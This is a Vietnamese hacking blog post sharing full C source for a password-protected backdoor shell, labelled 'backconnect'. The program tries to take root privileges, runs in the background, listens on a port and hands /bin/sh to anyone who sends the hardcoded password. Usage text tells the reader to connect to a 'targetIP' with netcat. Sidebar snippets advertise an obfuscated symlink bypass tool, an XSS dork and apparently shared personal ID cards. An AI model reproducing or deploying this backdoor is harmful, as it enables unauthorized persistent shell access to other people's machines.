• About
  • Policy
  • Contact

Phan Anh Buổi Sáng

  • Home
  • Kiến thức IT
    • PSD
    • Blogger
  • Translate
Google
Custom Search
Trang chủ » BackConnect » Code » Programming » [Code] C backconnect

[Code] C backconnect

Unknown Labels: BackConnect, Code, Programming Leave A Comment 10:08
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define ENTERPASS "Nhap mat khau: \0"
#define WELCOME "Welcome to shell\r\nlet's do it:\r\n"
#define PASSWORD "ceh.vn"
int main(int argc, char **argv)
{
struct sockaddr_in c_addr;
struct sockaddr_in s_addr;
char buf[1024];
pid_t pid;
int i,sock_descriptor,temp_sock_descriptor,c_addrsize;

setuid(0);
setgid(0);
seteuid(0);
setegid(0);

if (argc!=2){
printf("=================================\r\n");
printf("|bin.c by pr0cess edit by kai\r\n");
printf("|Usage:\r\n");
printf("|./cehbin 2080\r\n");
printf("|nc -vv targetIP 2080\r\n");
printf("|Nhap mat khau\r\n");
printf("|Chuc may man ;)\r\n");
printf("=================================\r\n");
exit(1);

}
if (fork()){
exit(0);
}

sock_descriptor=socket(AF_INET,SOCK_STREAM,0);
if (socket(AF_INET,SOCK_STREAM,0)==-1){
printf("socket failed!");
exit(1);
}
memset(&s_addr,0,sizeof(s_addr));
//bzero(&s_addr,sizeof(s_addr));
s_addr.sin_family=AF_INET;
s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
s_addr.sin_port=htons(atoi(argv[1]));
if (bind(sock_descriptor,(struct sockaddr *)&s_addr,sizeof(s_addr))==-1){
printf("bind failed!");
exit(1);
}
if (listen(sock_descriptor,20)==-1)//accept 20 connections
{
printf("listen failed!");
exit(1);
}
c_addrsize=sizeof(c_addr);
temp_sock_descriptor=accept(sock_descriptor,(struct sockaddr *)&c_addr,&c_addrsize);
//recv
while(temp_sock_descriptor){
pid=fork();
if (pid>0) {
close(temp_sock_descriptor);
continue;
}else if (pid==0){
write(temp_sock_descriptor, ENTERPASS, strlen(ENTERPASS));
memset(buf, '\0', 1024);
recv(temp_sock_descriptor, buf, 1024, 0);

if (strncmp(buf,PASSWORD,5) !=0){
close(temp_sock_descriptor);
exit(1);
}

write(temp_sock_descriptor, WELCOME, strlen(WELCOME));
dup2(temp_sock_descriptor,0);
dup2(temp_sock_descriptor,1);
dup2(temp_sock_descriptor,2);
execl("/bin/sh", "sh", (char *) 0);
close(temp_sock_descriptor);
exit(0);
}else{

exit(1);
}
}

close(sock_descriptor);
return 0;
}

Bài viết liên quan

← Bài đăng mới hơn Bài đăng cũ hơn → Trang chủ
Powered by Blogger.

Các Bình Luận Gần Đây

Bài đăng phổ biến

  • Share CMND Nữ Cho Anh Em Để Unlock & Report
    COPYRIGHT : MINH HAKU IT                                               
  • [PHP] Get list username - vBulletin
    <?php // GET user function duyk_get_all_usr($link, $total_usr) { $max_page = $total_usr/100; $ma...
  • Ảnh bìa chế Phía sau một cô gái - Soobin Hoàng Sơn - Zoy Thủ Thuật #Zoy
    Đôi lúc em tránh ánh mắt của anh. vì dường như lúc nào em cũng hiểu thấu lòng anh Demo Cover Download PSD loading...
  • PhpFox 3.0.1 Cross Site Scripting
    Google Dork: Intext:"Powered By phpFox Version 3.0.1" Vendor Home : http://www.phpfox.com/  There are lots of parametrs Vulnerab...
  • [PSD] Hacker - Đặng Khắc ĐứcPSD
    Demo Click here Download Click here
  • [PSD] Share Ảnh Bìa Facebok Cho Con Gái - Zoy Thủ Thuật #Zoy
    Demo Click here Download Click here loading...
  • [PSD] Tâm trạng - Trần Văn Bảo
    Download
  • PHP sourcecode analyzer rfi sql and rce lfi
    Hi guys this is me again badmotherfucker this is a source code analyzer the about tells you what its does do. Code: <!-- ****************...
  • [PSD] Share Ảnh Bìa Nụ Cười Tỏa Nắng - Zoy Thủ Thuật #Zoy
    Demo Click here Download Click here Theo Dõi Mình Để Xem Thêm Những Ảnh Đẹp Mới Nhất Nhé... Link Facebook :  https://www.faceboo...
  • Priv8 symlink() 0day coded by NazZ
    Code: <?php // Symlink ByPass Tool // NaZZ // Credits to IT-Sec eval(gzinflate(str_rot13(base64_decode('Dc7HzptXAEDhx8l/xcIU0xRygYGhG...

Pageviews from the past week

Chuyên mục

Bài đăng phổ biến

  • Share CMND Nữ Cho Anh Em Để Unlock & Report
    Share CMND Nữ Cho Anh Em Để Unlock & Report
    COPYRIGHT : MINH HAKU IT                                               
  • [PHP] Get list username - vBulletin
    <?php // GET user function duyk_get_all_usr($link, $total_usr) { $max_page = $total_usr/100; $ma...
  • Ảnh bìa chế Phía sau một cô gái - Soobin Hoàng Sơn - Zoy Thủ Thuật #Zoy
    Ảnh bìa chế Phía sau một cô gái - Soobin Hoàng Sơn - Zoy Thủ Thuật #Zoy
    Đôi lúc em tránh ánh mắt của anh. vì dường như lúc nào em cũng hiểu thấu lòng anh Demo Cover Download PSD loading...
  • PhpFox 3.0.1 Cross Site Scripting
    PhpFox 3.0.1 Cross Site Scripting
    Google Dork: Intext:"Powered By phpFox Version 3.0.1" Vendor Home : http://www.phpfox.com/  There are lots of parametrs Vulnerab...
  • [PSD] Hacker - Đặng Khắc ĐứcPSD
    [PSD] Hacker - Đặng Khắc ĐứcPSD
    Demo Click here Download Click here
  • [PSD] Share Ảnh Bìa Facebok Cho Con Gái - Zoy Thủ Thuật #Zoy
    [PSD] Share Ảnh Bìa Facebok Cho Con Gái - Zoy Thủ Thuật #Zoy
    Demo Click here Download Click here loading...
  • [PSD] Tâm trạng - Trần Văn Bảo
    [PSD] Tâm trạng - Trần Văn Bảo
    Download
  • PHP sourcecode analyzer rfi sql and rce lfi
    Hi guys this is me again badmotherfucker this is a source code analyzer the about tells you what its does do. Code: <!-- ****************...
  • [PSD] Share Ảnh Bìa Nụ Cười Tỏa Nắng - Zoy Thủ Thuật #Zoy
    [PSD] Share Ảnh Bìa Nụ Cười Tỏa Nắng - Zoy Thủ Thuật #Zoy
    Demo Click here Download Click here Theo Dõi Mình Để Xem Thêm Những Ảnh Đẹp Mới Nhất Nhé... Link Facebook :  https://www.faceboo...
  • Priv8 symlink() 0day coded by NazZ
    Code: <?php // Symlink ByPass Tool // NaZZ // Credits to IT-Sec eval(gzinflate(str_rot13(base64_decode('Dc7HzptXAEDhx8l/xcIU0xRygYGhG...
Google
Custom Search
Support: Facebook | Twitter | Google+ | Giới thiệu
Copyright © 2015 • Phan Anh Buổi Sáng • All Right Reserved. Template by Template Việt